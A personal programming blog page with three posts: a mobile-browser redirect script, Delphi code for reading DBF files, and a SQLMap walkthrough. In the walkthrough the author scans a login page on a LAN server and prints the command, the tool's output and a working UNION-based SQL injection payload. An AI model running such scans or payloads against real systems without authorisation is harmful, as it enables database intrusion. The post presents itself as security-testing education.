Eko Wahyudiharto's Blog

Mobile browser is totally different from regular browser. There are several limitations why it so. For one reason, it has smaller screen to displaying the app and of course the mobile hardware it self. Such that, the interpreter in mobile browser are made in "mini-scale".

Tough, the mobile browser is designed to interpreting basic html only (not that complex as regular full web version) since it potentially affecting the performance of the mobile hardware or it may hung-up the device if they try to loading a large full web version.

The creator of custom site portal often create two kind of projects; full web version & mobile version. The mobile version is a limited version of regular one, which actually have some basic features in a basic display template.

There's an up-to-date documentation describing about mobile browser completely (including the engine inside) you can found in http://en.wikipedia.org/wiki/Mobile_browser.

Also, several ways you can get from Google to detecting wether the visitors come from regular browser or mobile device. You can use an .htaccess feature, custom PHP module, .NET mobile detector scripts, etc.

But here below a simple how-to detecting and forward the visitors which come from mobile device.

<title>Hello world</title>
Browser checking, please wait…
<hr>
<script type="text/javascript">
function isMobile() {
var index = navigator.appVersion.indexOf("Mobile");
return (index > -1);
}
</script>
<script>
if (isMobile()) document.location='http://m.yourdomain.com';
else document.location='http://www.yourdomain.com';
</script>

Yup, it only use a single line of Javascript syntax. So, if it's from mobile device then forward it to mobile version. But first, make sure that you should provide both different index file on both URLs. That's all!

Labels: JavaScript, Programming, Web Programming

Couple months ago, I'd wrote about how to retrieving MDB database (MS Access) from Borland Delphi. The same thing if we need to connect to an old-fashioned DBF from Delphi application - the different is: it's more quite simpler.

Here below is an example how to read records from a FILENAME.DBF (containing 2 fields; FIELD1 and FIELD2). Don't forget to provide the DBF file on the same directory where the project will be saved - a CDX index file required depends on the DBF typically records. Reading DBF records as simply as using SQL SELECT query just like usual.

To create this basic project, all we need is only TQuery and TButton. Just put it both on a blank form.



The TQuery will work with DBF in a native way. Here is the code, take an attention on a bold sign below.

procedure TFMain.TButtonClick(Sender: TObject);
var FIELD1,FIELD2 : string;
begin
qDBF1.Close;
qDBF1.DatabaseName:=extractfilepath(extractfilepath(application.ExeName)+'FILENAME.DBF');
qDBF1.SQL.Clear;
qDBF1.SQL.Add('select * from FILENAME');
qDBF1.Open;

qDBF1.First;
repeat
FIELD1:=qDBF1.FieldByName('FIELD1').AsString;
FIELD2:=qDBF1.FieldByName('FIELD2').AsString;

qDBF1.Next;
until qDBF1.Eof;
end;

Anyway, I supposed that manipulating DBF record using TQuery component will have the same way by using INSERT, UPDATE and DELETE clauses. In other words, "Just like usual…" :) Cheers!!!

Labels: Delphi, Programming

Mostly, web programmers didn't care about how to protect their website project from hackers. They always depends on infrastructure outside the servers (the firewall, the proxy or something else). Such of it, it's very important to announce security points of programming to newbie web programmers. At least they'll learn securing application logic from beneath.

So much hacking techniques what hacker often did, from basic Cross Site Scripting (XSS) until SQL Injection, etc. Those techniques may range from a bit risk to a significant security damage.

Before a website project launched for public, it is recommended to run the security test in order to make sure that the project already secured for hackers - in basic ways. There's some tools available on the internet to help the test running. One of the tools named as SQLMap, it's an open source project. SQLMap - AFAIK - is more complete to do some SQL injection tests and much powerful than Havij.

To get start, download the latest SQLMap from sourceforge.net. Also make sure that Python package already installed on your system since SQLMap is a Python script based.



Assume that you have a web target to test (in this article, I use my friend's server on LAN). All I'm doing is touching the login page (index.php). Look below pictures, there's only 2 variable contains on that page (username & password) with POST method referring to cek_login.php file.



According to bit information above, open terminal or command prompt (for Windows) and enter below syntax :

Eko-Wahyudihartos-iMac:sqlmap ekowahyudiharto$ python sqlmap.py -u "http://10.2.2.144/arsip/admin/cek_login.php" method "POST" --data "username=xxxx" -f

Look wait wait for the response:

sqlmap/0.9 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net

[*] starting at: 10:38:31

[10:38:31] [INFO] using '/Users/ekowahyudiharto/sqlmap/output/10.2.2.144/session' as session file
[10:38:31] [INFO] testing connection to the target url
[10:38:31] [INFO] testing if the url is stable, wait a few seconds
[10:38:32] [INFO] url is stable
[10:38:32] [INFO] testing if POST parameter 'username' is dynamic
[10:38:32] [WARNING] POST parameter 'username' is not dynamic
[10:38:32] [WARNING] heuristic test shows that POST parameter 'username' might not be injectable
[10:38:32] [INFO] testing sql injection on POST parameter 'username'
[10:38:32] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:38:32] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[10:38:33] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[10:38:33] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[10:38:33] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[10:38:33] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[10:38:33] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[10:38:33] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[10:38:33] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[10:38:33] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[10:38:33] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[10:38:33] [INFO] testing 'Oracle AND time-based blind'
[10:38:33] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
sqlmap got a 302 redirect to media.php - What target address do you want to use from now on? http://10.2.2.144:80/arsip/admin/cek_login.php (default) or provide another target address based also on the redirection got from the application

>
[10:38:41] [INFO] target url appears to be UNION injectable with 6 columns
[10:38:41] [INFO] POST parameter 'username' is 'MySQL UNION query (NULL) - 1 to 10 columns' injectable
POST parameter 'username' is vulnerable. Do you want to keep testing the others? [y/N] y
sqlmap identified the following injection points with a total of 101 HTTP(s) requests:
---
Place: POST
Parameter: username
Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: username=xxxx' UNION ALL SELECT CONCAT(CHAR(58,99,120,117,58),CHAR(88,99,102,100,86,121,111,76,88,88),CHAR(58,104,104,108,58)), NULL, NULL, NULL, NULL, NULL# AND 'OghT'='OghT
---

[10:39:06] [INFO] testing MySQL
[10:39:06] [INFO] confirming MySQL
[10:39:06] [INFO] the back-end DBMS is MySQL
[10:39:06] [INFO] actively fingerprinting MySQL
[10:39:06] [INFO] executing MySQL comment injection fingerprint

web application technology: PHP 5.3.5, Apache 2.2.17
back-end DBMS: active fingerprint: MySQL >= 5.0.38 and < 5.1.2
comment injection fingerprint: MySQL 5.0.75
[10:39:10] [INFO] Fetched data logged to text files under '/Users/ekowahyudiharto/sqlmap/output/10.2.2.144'

[*] shutting down at: 10:39:10

Look at the response above!



Attention: this article describes a very basic information about how to make a security test on web based application, therefore also containing illegal material on it. More explorations needed to gain advantages to the using of SQLMap. The SQLMap on this article is used only for educational purposed only.

Credit: Thanks to Kadek Eva Suputra for giving me server & project experiment to test and I Wayan Chandra Winetra for giving me a brilliant topic to review.

Labels: Hacking, Ilegal, Internet, PHP, Programming, Web Programming